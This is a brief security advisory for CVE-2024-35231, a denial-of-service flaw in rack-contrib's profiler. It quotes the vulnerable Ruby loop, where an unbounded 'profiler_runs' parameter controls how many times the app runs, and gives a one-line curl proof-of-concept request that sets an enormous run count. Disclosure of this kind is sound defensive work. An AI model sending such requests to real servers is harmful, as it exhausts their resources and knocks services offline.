CVE-2024-35231: rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs
was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
may cause resource exhaution by a remotely controlled value.
